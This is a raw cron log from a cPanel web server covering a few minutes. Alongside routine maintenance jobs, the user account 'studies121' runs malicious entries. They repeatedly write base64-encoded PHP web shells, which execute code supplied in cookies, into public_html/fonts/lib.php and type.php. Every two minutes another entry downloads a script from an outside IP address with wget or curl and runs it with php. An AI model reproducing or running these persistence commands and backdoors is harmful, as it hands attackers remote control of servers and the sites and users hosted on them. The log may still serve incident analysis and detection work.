Aug 31 04:00:01 ip-184-168-122-23 CROND[24464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:00:01 ip-184-168-122-23 CROND[24469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:00:01 ip-184-168-122-23 CROND[24472]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 04:00:01 ip-184-168-122-23 CROND[24471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:00:01 ip-184-168-122-23 CROND[24473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:00:01 ip-184-168-122-23 CROND[24479]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:00:01 ip-184-168-122-23 CROND[24478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:00:01 ip-184-168-122-23 CROND[24480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:01:01 ip-184-168-122-23 CROND[24591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:01:01 ip-184-168-122-23 CROND[24594]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:01:01 ip-184-168-122-23 CROND[24592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:01:01 ip-184-168-122-23 CROND[24596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:01:01 ip-184-168-122-23 CROND[24595]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 04:01:01 ip-184-168-122-23 CROND[24604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24595]: starting 0anacron
Aug 31 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24615]: finished 0anacron
Aug 31 04:02:01 ip-184-168-122-23 CROND[24718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:02:01 ip-184-168-122-23 CROND[24720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:02:01 ip-184-168-122-23 CROND[24721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:02:01 ip-184-168-122-23 CROND[24723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:02:01 ip-184-168-122-23 CROND[24725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:03:01 ip-184-168-122-23 CROND[24830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:03:01 ip-184-168-122-23 CROND[24834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:03:01 ip-184-168-122-23 CROND[24832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:03:01 ip-184-168-122-23 CROND[24833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:04:01 ip-184-168-122-23 CROND[24918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:04:01 ip-184-168-122-23 CROND[24916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:04:01 ip-184-168-122-23 CROND[24917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:04:01 ip-184-168-122-23 CROND[24919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:04:01 ip-184-168-122-23 CROND[24920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:05:01 ip-184-168-122-23 CROND[25144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:05:01 ip-184-168-122-23 CROND[25146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:05:01 ip-184-168-122-23 CROND[25148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:05:01 ip-184-168-122-23 CROND[25149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:05:01 ip-184-168-122-23 CROND[25152]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:05:01 ip-184-168-122-23 CROND[25150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:05:01 ip-184-168-122-23 CROND[25151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:06:01 ip-184-168-122-23 CROND[25259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:06:01 ip-184-168-122-23 CROND[25261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:06:01 ip-184-168-122-23 CROND[25262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:06:01 ip-184-168-122-23 CROND[25263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:06:01 ip-184-168-122-23 CROND[25264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:07:01 ip-184-168-122-23 CROND[25368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:07:01 ip-184-168-122-23 CROND[25366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:07:01 ip-184-168-122-23 CROND[25367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:07:01 ip-184-168-122-23 CROND[25369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:08:01 ip-184-168-122-23 CROND[25464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:08:01 ip-184-168-122-23 CROND[25467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:08:01 ip-184-168-122-23 CROND[25469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:08:01 ip-184-168-122-23 CROND[25466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:08:01 ip-184-168-122-23 CROND[25465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:09:02 ip-184-168-122-23 CROND[25597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:09:02 ip-184-168-122-23 CROND[25596]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 04:09:02 ip-184-168-122-23 CROND[25602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:09:02 ip-184-168-122-23 CROND[25599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:09:02 ip-184-168-122-23 CROND[25600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:10:01 ip-184-168-122-23 CROND[25701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:10:01 ip-184-168-122-23 CROND[25702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:10:01 ip-184-168-122-23 CROND[25704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:10:01 ip-184-168-122-23 CROND[25706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:10:01 ip-184-168-122-23 CROND[25707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:10:01 ip-184-168-122-23 CROND[25708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:10:01 ip-184-168-122-23 CROND[25712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:10:01 ip-184-168-122-23 CROND[25709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:11:01 ip-184-168-122-23 CROND[25925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:11:01 ip-184-168-122-23 CROND[25927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:11:01 ip-184-168-122-23 CROND[25928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:11:01 ip-184-168-122-23 CROND[25929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
